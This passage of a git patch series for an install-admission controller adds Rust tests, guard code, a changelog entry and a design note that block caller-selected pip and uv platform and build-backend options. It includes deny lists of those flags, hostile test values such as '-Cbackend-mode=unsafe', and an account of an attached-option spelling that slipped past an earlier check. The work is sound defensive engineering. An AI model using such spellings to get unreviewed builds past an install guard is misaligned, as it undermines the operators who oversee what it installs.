*CLI configuration override parser* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/config_overrides.rs - pnpm contributors. (2026). *CLI startup and `--config.=` extraction* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/lib.rs +- Podman Project. (2026). *podman-pull — Pull an image from a registry.* https://docs.podman.io/en/stable/markdown/podman-pull.1.html - The Rust Project. (2026). *cargo install — The Cargo Book.* https://doc.rust-lang.org/cargo/commands/cargo-install.html - SLSA Community. (2025). *SLSA specification, version 1.2.* https://slsa.dev/spec/v1.2/ - The Update Framework. (2026). *Specification, version 1.0.33.* https://theupdateframework.io/spec/ - Sigstore. (2026). *Sigstore documentation: Overview and security model.* https://docs.sigstore.dev/ ; https://docs.sigstore.dev/about/security/ -NIST SP 800-218 Rev. 1 / SSDF 1.2 is still a draft as of this document's 2026-09-02 verification and is tracked as informative rather than binding: https://csrc.nist.gov/Projects/ssdf/publications +NIST SP 800-218 Rev. 1 / SSDF 1.2 is still a draft as of this document's 2026-09-02 verification and is tracked as informative rather than binding: https://csrc.nist.gov/Projects/ssdf/publications \ No newline at end of file From 9f11a7f90902c83f796aeda990f33425739b9c46 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 20:04:20 +0900 Subject: [PATCH 179/247] test(admission): reject caller-selected PyPI artifact variants --- .../tests/pypi_artifact_variant_contract.rs | 125 ++++++++++++++++++ 1 file changed, 125 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs diff --git a/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs b/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs new file mode 100644 index 00000000..3d4295c8 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs @@ -0,0 +1,125 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const PACKAGE_NAME: &str = "example-package"; +const PACKAGE_VERSION: &str = "1.2.3"; + +#[test] +fn caller_selected_wheel_compatibility_tags_require_separately_approved_artifact_identity() { + for selector in [ + "--platform=manylinux_2_28_x86_64", + "--python-version=3.13", + "--implementation=cp", + "--abi=cp313", + ] { + let (policy, mut intent) = approved_pypi_install("pip"); + intent.argv.insert(2, selector.to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected PyPI compatibility selector {selector} must not inherit approval from an artifact coordinate that does not bind that selector" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "PyPI selector {selector} must stay in the artifact-identity reason domain" + ); + } +} + +#[test] +fn caller_selected_source_distribution_and_build_backend_controls_are_not_preapproved() { + for selector in [ + "--no-binary=:all:", + "--no-build-isolation", + "--config-settings=backend-mode=unsafe", + ] { + let (policy, mut intent) = approved_pypi_install("pip"); + intent.argv.insert(2, selector.to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected PyPI build control {selector} must require separately reviewed artifact/build authority" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved") + ); + } +} + +#[test] +fn exact_pypi_install_without_caller_selected_variant_remains_allowed() { + let (policy, intent) = approved_pypi_install("pip"); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +fn approved_pypi_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact_argument = format!("{PACKAGE_NAME}=={PACKAGE_VERSION}"); + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: PACKAGE_NAME.to_string(), + version: PACKAGE_VERSION.to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "Example Publisher".to_string(), + sha256: DIGEST.to_string(), + artifact_argument: artifact_argument.clone(), + }; + let policy = AdmissionPolicy { + policy_id: "pypi-production".to_string(), + policy_revision: "2026-09-04.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-pypi-artifact-variant".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + artifact_argument, + "--require-hashes".to_string(), + ], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From a23583a533babf256ad81e9c882759662fe33f2b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 20:06:10 +0900 Subject: [PATCH 180/247] fix(admission): bind PyPI artifact and build variants --- .../src/artifact_variant.rs | 46 ++++++++++++++++++- 1 file changed, 45 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/artifact_variant.rs b/crates/agent-artifact-admission/src/artifact_variant.rs index f261c37d..ab78cc8d 100644 --- a/crates/agent-artifact-admission/src/artifact_variant.rs +++ b/crates/agent-artifact-admission/src/artifact_variant.rs @@ -1,8 +1,15 @@ use crate::InstallIntent; +/// Return whether an install asks the package client to expand or select +/// artifact/build identity that is not represented by the approved coordinates. +pub(crate) fn requests_unapproved_artifact_variant(intent: &InstallIntent) -> bool { + requests_unapproved_oci_artifact_variant(intent) + || requests_unapproved_pypi_artifact_variant(intent) +} + /// Return whether an OCI pull asks the client to expand or select artifact /// identity that is not represented by the approved artifact coordinates. -pub(crate) fn requests_unapproved_oci_artifact_variant(intent: &InstallIntent) -> bool { +fn requests_unapproved_oci_artifact_variant(intent: &InstallIntent) -> bool { let Some(executable) = intent.argv.first().map(String::as_str) else { return false; }; @@ -35,6 +42,43 @@ pub(crate) fn requests_unapproved_oci_artifact_variant(intent: &InstallIntent) - }) } +/// Pip can select a wheel compatibility target or force/configure a source +/// build independently of the name/version coordinate. Until policy carries +/// that artifact/build identity, caller-selected selectors fail closed. +fn requests_unapproved_pypi_artifact_variant(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if !matches!(executable, "pip" | "pip3") { + return false; + } + + let arguments = &intent.argv[1..]; + if !arguments + .first() + .is_some_and(|argument| argument == "install") + { + return false; + } + + arguments.iter().skip(1).any(|argument| { + matches_value_flag(argument, "--platform") + || matches_value_flag(argument, "--python-version") + || matches_value_flag(argument, "--implementation") + || matches_value_flag(argument, "--abi") + || matches_value_flag(argument, "--no-binary") + || matches_value_flag(argument, "--only-binary") + || argument == "--prefer-binary" + || argument == "--no-build-isolation" + || matches_value_flag(argument, "-C") + || matches_value_flag(argument, "--config-settings") + }) +} + +fn matches_value_flag(argument: &str, flag: &str) -> bool { + argument == flag || argument.strip_prefix(flag).is_some_and(|suffix| suffix.starts_with('=')) +} + /// Docker and Podman expose `-a` (`--all-tags`) and `-q` (`--quiet`) as /// Boolean pull shorthands. Their pflag-style parsers permit shorthand bundles; /// every non-final Boolean shorthand is enabled while an attached assignment From b3336704f346a174a7ea9fcc4b0403ef22a8c06b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 20:06:41 +0900 Subject: [PATCH 181/247] refactor(admission): use generic artifact variant guard --- crates/agent-artifact-admission/src/lib.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index a9ff8e50..fa677ac0 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -29,7 +29,7 @@ pub fn admission_decision( intent: &InstallIntent, ) -> AdmissionDecision { let mut decision = policy::admission_decision(policy, intent); - if artifact_variant::requests_unapproved_oci_artifact_variant(intent) { + if artifact_variant::requests_unapproved_artifact_variant(intent) { if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { decision.reason_codes.push(ReasonCode::ArtifactNotApproved); } From bab0f8bd2c2f37da7cf3de2e425fdb1a2dd9a054 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 20:08:02 +0900 Subject: [PATCH 182/247] docs(changelog): record PyPI variant admission --- CHANGELOG.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index e84e671b..ce0e3f47 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,7 @@ - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. - Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, integrity-verification disablement, or opaque runtime configuration: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, `--trust` persistent `trustedDependencies` expansion, and `--no-verify` registry-integrity bypass, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs now require both `--ignore-scripts` and `--ignore-pnpmfile`. +- Bound PyPI approval to the reviewed artifact/build identity rather than caller-selected pip resolution or build variants: `--platform`, `--python-version`, `--implementation`, `--abi`, `--no-binary`, `--only-binary`, `--prefer-binary`, `--no-build-isolation`, and `-C` / `--config-settings` fail closed as `artifact_not_approved` until policy can bind wheel compatibility tags or source-build/backend configuration explicitly. - Bound OCI pull approval to the reviewed artifact identity rather than caller-selected client variants: Docker/Podman `--platform` and Podman-equivalent `--arch`, `--os`, and `--variant` selectors fail closed as `artifact_not_approved` until a versioned policy schema can authorize the selected platform-specific manifest identity or equivalent provenance. - Bound OCI pull cardinality to the exact reviewed artifact set: Docker/Podman `-a` / `--all-tags`, true Boolean assignments, and bundled Boolean shorthand semantics fail closed as `artifact_not_approved` whenever they enable repository-wide mutable tag expansion. This includes `-aq` / `-qa` and assigned bundles such as `-aq=false`, where the preceding `-a` remains enabled; quiet-only shorthand and a final explicitly false all-tags shorthand such as `-qa=false` remain admissible. - Bound Podman registry transport, authentication, and image-decryption authority to reviewed policy: false forms of `--tls-verify`, caller-selected `--cert-dir` / `--authfile`, inline `--creds`, and `--decryption-key` key/passphrase material fail closed as `alternate_trust_root`, while explicit TLS verification remains compatible with the approved registry identity. Registry credentials and image-decryption secrets remain separately governed downstream deployment/secret authorities rather than untrusted install argv. @@ -14,5 +15,5 @@ ### Operations -- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, exact-set OCI pull cardinality, OCI platform-variant and registry transport/authentication/decryption authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. +- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, PyPI artifact/build-variant controls, exact-set OCI pull cardinality, OCI platform-variant and registry transport/authentication/decryption authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. - Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. From f501261b2481d6c6a9def029941687f1cf0d6dfc Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 20:08:19 +0900 Subject: [PATCH 183/247] docs(doctoring): trace PyPI artifact variant authority --- docs/doctoring/pypi-artifact-variant.md | 27 +++++++++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 docs/doctoring/pypi-artifact-variant.md diff --git a/docs/doctoring/pypi-artifact-variant.md b/docs/doctoring/pypi-artifact-variant.md new file mode 100644 index 00000000..b935ba35 --- /dev/null +++ b/docs/doctoring/pypi-artifact-variant.md @@ -0,0 +1,27 @@ +# PyPI artifact and build-variant admission traceability + +Verified 2026-09-04 against the current pip documentation. This note records why caller-selected pip compatibility and source-build controls are security-artifact identity inputs in Wardnet. It does not claim that Wardnet executes pip, verifies downloaded bytes, or owns the hostile execution runtime. + +## Decision + +An approved PyPI coordinate currently binds ecosystem, package name, version, registry, publisher label, SHA-256, and the exact package operand. It does not bind wheel compatibility tags, source-distribution selection, build isolation, or PEP 517 backend settings. Until the policy schema represents those dimensions explicitly, an untrusted install intent must not add pip options that can select a different distribution artifact or change source-build behavior. + +Wardnet therefore fails closed as `artifact_not_approved` when submitted `pip install` / `pip3 install` argv contains `--platform`, `--python-version`, `--implementation`, `--abi`, `--no-binary`, `--only-binary`, `--prefer-binary`, `--no-build-isolation`, or `-C` / `--config-settings`. The execution broker remains responsible for independently verifying the retrieved artifact digest/provenance before installation; an admission `allow` receipt is not execution authority. + +## Evidence + +The pip install reference states that `--platform`, `--python-version`, `--implementation`, and `--abi` change the set of compatible wheels considered during installation. It also documents `--no-binary` and `--only-binary` as controls over source versus binary distributions. `--no-build-isolation` disables the isolated environment normally used while building a modern source distribution, while `-C` / `--config-settings` passes caller-selected settings to the build backend. These controls can therefore change which bytes or build path a name/version request resolves to without changing Wardnet's current artifact coordinate. + +This follows the same least-authority rule already applied to OCI platform selection: approval for an abstract coordinate is not approval for a caller-selected artifact variant that the policy does not encode. NIST SSDF requires software integrity and secure development controls to be explicit and verifiable; Wardnet applies that principle by refusing to infer missing artifact/build dimensions. + +## RED → GREEN + +RED commit `9f11a7f90902c83f796aeda990f33425739b9c46` added hostile regressions proving that the previously accepted PyPI command could carry caller-selected wheel compatibility selectors or source-build/backend controls. Production repair `a23583a533babf256ad81e9c882759662fe33f2b` generalized the artifact-variant predicate beyond OCI, and `b3336704f346a174a7ea9fcc4b0403ef22a8c06b` routed admission through the generalized guard. Exact-head hosted CI/security evidence must still execute on the resulting branch head before this candidate is integration-ready. + +## References + +National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1: Recommendations for Mitigating the Risk of Software Vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 + +pip developers. (2026). *pip install: pip documentation.* Retrieved September 4, 2026, from https://pip.pypa.io/en/latest/cli/pip_install/ + +pip developers. (2026). *Repeatable installs: pip documentation.* Retrieved September 4, 2026, from https://pip.pypa.io/en/latest/topics/repeatable-installs/ From aaecfe6bc6bb7cb7a26f7db7db61bfb8465f7b8b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 20:11:39 +0900 Subject: [PATCH 184/247] test(admission): reject attached pip build settings --- .../tests/pypi_artifact_variant_contract.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs b/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs index 3d4295c8..653133db 100644 --- a/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs @@ -43,6 +43,7 @@ fn caller_selected_source_distribution_and_build_backend_controls_are_not_preapp "--no-binary=:all:", "--no-build-isolation", "--config-settings=backend-mode=unsafe", + "-Cbackend-mode=unsafe", ] { let (policy, mut intent) = approved_pypi_install("pip"); intent.argv.insert(2, selector.to_string()); From c8546f4db70dc8cbc86bedf1d050a0eb5974073f Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 20:12:14 +0900 Subject: [PATCH 185/247] fix(admission): reject attached pip config settings --- .../agent-artifact-admission/src/artifact_variant.rs | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/artifact_variant.rs b/crates/agent-artifact-admission/src/artifact_variant.rs index ab78cc8d..ef3f7eda 100644 --- a/crates/agent-artifact-admission/src/artifact_variant.rs +++ b/crates/agent-artifact-admission/src/artifact_variant.rs @@ -70,7 +70,7 @@ fn requests_unapproved_pypi_artifact_variant(intent: &InstallIntent) -> bool { || matches_value_flag(argument, "--only-binary") || argument == "--prefer-binary" || argument == "--no-build-isolation" - || matches_value_flag(argument, "-C") + || matches_short_value_flag(argument, "-C") || matches_value_flag(argument, "--config-settings") }) } @@ -79,6 +79,15 @@ fn matches_value_flag(argument: &str, flag: &str) -> bool { argument == flag || argument.strip_prefix(flag).is_some_and(|suffix| suffix.starts_with('=')) } +/// Pip's option parser accepts short options with their required value attached, +/// for example `-Cbackend-mode=unsafe`, so exact-token matching is insufficient. +fn matches_short_value_flag(argument: &str, flag: &str) -> bool { + argument == flag + || argument + .strip_prefix(flag) + .is_some_and(|suffix| !suffix.is_empty()) +} + /// Docker and Podman expose `-a` (`--all-tags`) and `-q` (`--quiet`) as /// Boolean pull shorthands. Their pflag-style parsers permit shorthand bundles; /// every non-final Boolean shorthand is enabled while an attached assignment From 462d984fb0af521bb356b403c5d892f649568f9f Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 20:12:32 +0900 Subject: [PATCH 186/247] docs(doctoring): record attached pip config parsing --- docs/doctoring/pypi-artifact-variant.md | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/docs/doctoring/pypi-artifact-variant.md b/docs/doctoring/pypi-artifact-variant.md index b935ba35..e7f66ca4 100644 --- a/docs/doctoring/pypi-artifact-variant.md +++ b/docs/doctoring/pypi-artifact-variant.md @@ -1,22 +1,26 @@ # PyPI artifact and build-variant admission traceability -Verified 2026-09-04 against the current pip documentation. This note records why caller-selected pip compatibility and source-build controls are security-artifact identity inputs in Wardnet. It does not claim that Wardnet executes pip, verifies downloaded bytes, or owns the hostile execution runtime. +Verified 2026-09-04 against the current pip documentation and a local no-index/dry-run parser probe. This note records why caller-selected pip compatibility and source-build controls are security-artifact identity inputs in Wardnet. It does not claim that Wardnet executes pip, verifies downloaded bytes, or owns the hostile execution runtime. ## Decision An approved PyPI coordinate currently binds ecosystem, package name, version, registry, publisher label, SHA-256, and the exact package operand. It does not bind wheel compatibility tags, source-distribution selection, build isolation, or PEP 517 backend settings. Until the policy schema represents those dimensions explicitly, an untrusted install intent must not add pip options that can select a different distribution artifact or change source-build behavior. -Wardnet therefore fails closed as `artifact_not_approved` when submitted `pip install` / `pip3 install` argv contains `--platform`, `--python-version`, `--implementation`, `--abi`, `--no-binary`, `--only-binary`, `--prefer-binary`, `--no-build-isolation`, or `-C` / `--config-settings`. The execution broker remains responsible for independently verifying the retrieved artifact digest/provenance before installation; an admission `allow` receipt is not execution authority. +Wardnet therefore fails closed as `artifact_not_approved` when submitted `pip install` / `pip3 install` argv contains `--platform`, `--python-version`, `--implementation`, `--abi`, `--no-binary`, `--only-binary`, `--prefer-binary`, `--no-build-isolation`, or `-C` / `--config-settings`. The `-C` guard covers both separated and attached required-value spellings such as `-Cbackend-mode=unsafe`. The execution broker remains responsible for independently verifying the retrieved artifact digest/provenance before installation; an admission `allow` receipt is not execution authority. ## Evidence The pip install reference states that `--platform`, `--python-version`, `--implementation`, and `--abi` change the set of compatible wheels considered during installation. It also documents `--no-binary` and `--only-binary` as controls over source versus binary distributions. `--no-build-isolation` disables the isolated environment normally used while building a modern source distribution, while `-C` / `--config-settings` passes caller-selected settings to the build backend. These controls can therefore change which bytes or build path a name/version request resolves to without changing Wardnet's current artifact coordinate. +A local `python -m pip install --dry-run --no-index -Cbackend-mode=unsafe definitely-nonexistent-package-cwl-wardnet==0` parser probe reached ordinary package resolution and failed only because no matching distribution exists. That confirms pip accepts the required value attached to short `-C`; a guard that recognized only exact `-C` or `-C=...` would be bypassable. + This follows the same least-authority rule already applied to OCI platform selection: approval for an abstract coordinate is not approval for a caller-selected artifact variant that the policy does not encode. NIST SSDF requires software integrity and secure development controls to be explicit and verifiable; Wardnet applies that principle by refusing to infer missing artifact/build dimensions. ## RED → GREEN -RED commit `9f11a7f90902c83f796aeda990f33425739b9c46` added hostile regressions proving that the previously accepted PyPI command could carry caller-selected wheel compatibility selectors or source-build/backend controls. Production repair `a23583a533babf256ad81e9c882759662fe33f2b` generalized the artifact-variant predicate beyond OCI, and `b3336704f346a174a7ea9fcc4b0403ef22a8c06b` routed admission through the generalized guard. Exact-head hosted CI/security evidence must still execute on the resulting branch head before this candidate is integration-ready. +RED commit `9f11a7f90902c83f796aeda990f33425739b9c46` added hostile regressions proving that the previously accepted PyPI command could carry caller-selected wheel compatibility selectors or source-build/backend controls. Production repair `a23583a533babf256ad81e9c882759662fe33f2b` generalized the artifact-variant predicate beyond OCI, and `b3336704f346a174a7ea9fcc4b0403ef22a8c06b` routed admission through the generalized guard. + +A follow-up parser verification found the attached short-option spelling `-Cbackend-mode=unsafe`. RED `aaecfe6bc6bb7cb7a26f7db7db61bfb8465f7b8b` added that hostile case before production changed; GREEN `c8546f4db70dc8cbc86bedf1d050a0eb5974073f` made the short required-value guard recognize attached values without widening the long-option matcher. Exact-head hosted CI/security evidence must still execute on the resulting branch head before this candidate is integration-ready. ## References From 2b78613d742a48aef1f9f0bda085a18be076219e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 21:02:21 +0900 Subject: [PATCH 187/247] test(admission): reject unbound uv artifact variants --- .../tests/pypi_artifact_variant_contract.rs | 67 +++++++++++++++++-- 1 file changed, 60 insertions(+), 7 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs b/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs index 653133db..110cc8e2 100644 --- a/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs @@ -64,6 +64,35 @@ fn caller_selected_source_distribution_and_build_backend_controls_are_not_preapp } } +#[test] +fn uv_pip_target_platform_and_build_backend_controls_are_not_preapproved() { + for selector in [ + "--python-platform=x86_64-unknown-linux-gnu", + "--no-binary=:all:", + "--no-build-isolation", + "--config-settings=backend-mode=unsafe", + "-Cbackend-mode=unsafe", + ] { + let (policy, mut intent) = approved_uv_pypi_install(); + intent.argv.insert(3, selector.to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "uv pip selector {selector} must not inherit approval from a PyPI artifact coordinate that does not bind target-platform or build-backend authority" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "uv pip selector {selector} must stay in the artifact-identity reason domain" + ); + } +} + #[test] fn exact_pypi_install_without_caller_selected_variant_remains_allowed() { let (policy, intent) = approved_pypi_install("pip"); @@ -74,7 +103,36 @@ fn exact_pypi_install_without_caller_selected_variant_remains_allowed() { assert!(decision.reason_codes.is_empty()); } +#[test] +fn exact_uv_pypi_install_without_caller_selected_variant_remains_allowed() { + let (policy, intent) = approved_uv_pypi_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + fn approved_pypi_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + approved_pypi_install_with_argv(vec![ + executable.to_string(), + "install".to_string(), + format!("{PACKAGE_NAME}=={PACKAGE_VERSION}"), + "--require-hashes".to_string(), + ]) +} + +fn approved_uv_pypi_install() -> (AdmissionPolicy, InstallIntent) { + approved_pypi_install_with_argv(vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + format!("{PACKAGE_NAME}=={PACKAGE_VERSION}"), + "--require-hashes".to_string(), + ]) +} + +fn approved_pypi_install_with_argv(argv: Vec) -> (AdmissionPolicy, InstallIntent) { let artifact_argument = format!("{PACKAGE_NAME}=={PACKAGE_VERSION}"); let artifact = ArtifactCoordinate { ecosystem: "pypi".to_string(), @@ -88,7 +146,7 @@ fn approved_pypi_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { let policy = AdmissionPolicy { policy_id: "pypi-production".to_string(), policy_revision: "2026-09-04.1".to_string(), - allowed_executables: vec![executable.to_string()], + allowed_executables: vec![argv[0].clone()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), sha256: MANIFEST_DIGEST.to_string(), @@ -108,12 +166,7 @@ fn approved_pypi_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { actor_id: "agent:wardnet:admission".to_string(), workspace_id: "ContextualWisdomLab/wardnet".to_string(), operation: "install".to_string(), - argv: vec![ - executable.to_string(), - "install".to_string(), - artifact_argument, - "--require-hashes".to_string(), - ], + argv, manifest_sha256: MANIFEST_DIGEST.to_string(), source: InstructionSource { kind: InstructionSourceKind::ReviewedConfig, From c655cbcc491b3be51bddaac737722888e10444ab Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 21:02:56 +0900 Subject: [PATCH 188/247] fix(admission): bind uv pip artifact variants --- .../src/artifact_variant.rs | 78 ++++++++++++------- 1 file changed, 52 insertions(+), 26 deletions(-) diff --git a/crates/agent-artifact-admission/src/artifact_variant.rs b/crates/agent-artifact-admission/src/artifact_variant.rs index ef3f7eda..28dcc54e 100644 --- a/crates/agent-artifact-admission/src/artifact_variant.rs +++ b/crates/agent-artifact-admission/src/artifact_variant.rs @@ -42,45 +42,71 @@ fn requests_unapproved_oci_artifact_variant(intent: &InstallIntent) -> bool { }) } -/// Pip can select a wheel compatibility target or force/configure a source -/// build independently of the name/version coordinate. Until policy carries -/// that artifact/build identity, caller-selected selectors fail closed. +/// Pip-compatible installers can select a wheel compatibility target or +/// force/configure a source build independently of the approved name/version +/// coordinate. Until policy carries that artifact/build identity, caller- +/// selected selectors fail closed. fn requests_unapproved_pypi_artifact_variant(intent: &InstallIntent) -> bool { let Some(executable) = intent.argv.first().map(String::as_str) else { return false; }; - if !matches!(executable, "pip" | "pip3") { - return false; - } - let arguments = &intent.argv[1..]; - if !arguments - .first() - .is_some_and(|argument| argument == "install") - { - return false; + + match executable { + "pip" | "pip3" + if arguments + .first() + .is_some_and(|argument| argument == "install") => + { + arguments.iter().skip(1).any(requests_unapproved_pip_variant) + } + "uv" + if arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") => + { + arguments.iter().skip(2).any(requests_unapproved_uv_pip_variant) + } + _ => false, } +} - arguments.iter().skip(1).any(|argument| { - matches_value_flag(argument, "--platform") - || matches_value_flag(argument, "--python-version") - || matches_value_flag(argument, "--implementation") - || matches_value_flag(argument, "--abi") - || matches_value_flag(argument, "--no-binary") - || matches_value_flag(argument, "--only-binary") - || argument == "--prefer-binary" - || argument == "--no-build-isolation" - || matches_short_value_flag(argument, "-C") - || matches_value_flag(argument, "--config-settings") - }) +fn requests_unapproved_pip_variant(argument: &String) -> bool { + matches_value_flag(argument, "--platform") + || matches_value_flag(argument, "--python-version") + || matches_value_flag(argument, "--implementation") + || matches_value_flag(argument, "--abi") + || matches_value_flag(argument, "--no-binary") + || matches_value_flag(argument, "--only-binary") + || argument == "--prefer-binary" + || argument == "--no-build-isolation" + || matches_short_value_flag(argument, "-C") + || matches_value_flag(argument, "--config-settings") +} + +fn requests_unapproved_uv_pip_variant(argument: &String) -> bool { + matches_value_flag(argument, "--python-platform") + || matches_value_flag(argument, "--no-binary") + || matches_value_flag(argument, "--no-binary-package") + || matches_value_flag(argument, "--only-binary") + || matches_value_flag(argument, "--only-binary-package") + || argument == "--no-build" + || argument == "--no-build-isolation" + || matches_value_flag(argument, "--no-build-isolation-package") + || matches_short_value_flag(argument, "-C") + || matches_value_flag(argument, "--config-setting") + || matches_value_flag(argument, "--config-settings") + || matches_value_flag(argument, "--config-settings-package") } fn matches_value_flag(argument: &str, flag: &str) -> bool { argument == flag || argument.strip_prefix(flag).is_some_and(|suffix| suffix.starts_with('=')) } -/// Pip's option parser accepts short options with their required value attached, -/// for example `-Cbackend-mode=unsafe`, so exact-token matching is insufficient. +/// Pip-compatible option parsers accept short options with their required +/// value attached, for example `-Cbackend-mode=unsafe`, so exact-token matching +/// is insufficient. fn matches_short_value_flag(argument: &str, flag: &str) -> bool { argument == flag || argument From 